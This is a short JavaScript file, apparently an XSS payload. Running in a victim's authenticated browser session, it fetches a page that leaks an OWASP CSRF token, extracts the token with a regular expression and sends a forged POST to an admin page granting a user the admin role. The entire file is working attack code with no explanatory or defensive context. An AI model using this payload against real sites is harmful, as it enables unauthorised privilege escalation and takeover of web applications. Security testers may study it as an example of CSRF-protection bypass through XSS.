xss_csrf_bypass.js

await fetch('https://subdomain.domain.com/page_leaking_csrf_token',{
   method: 'GET',
   headers: {
       'Content-Length': '2'
   },
   credentials: 'include'
}).then((response) => {
   a=response;
});

b = a.text()
await b.then((body) => {
   t=body;
 });
regex2 = /OWASP_CSRFTOKEN" \+ '=' \+ "([0-9a-z])*"/g; 
csrf_token = t.match(regex2)[0].split('"')[2];

await fetch('https://subdomain.domain.com/admin_page_needing_csrf_token',{
   method: 'POST',
   headers: {
       'Content-Type': 'application/x-www-form-urlencoded', 
       'Content-Length': '105'
   },
   credentials: 'include',
    body: 'user=1&role=admin&OWASP_CSRFTOKEN='+csrf_token
}).then((response) => {
   c= response.url;
});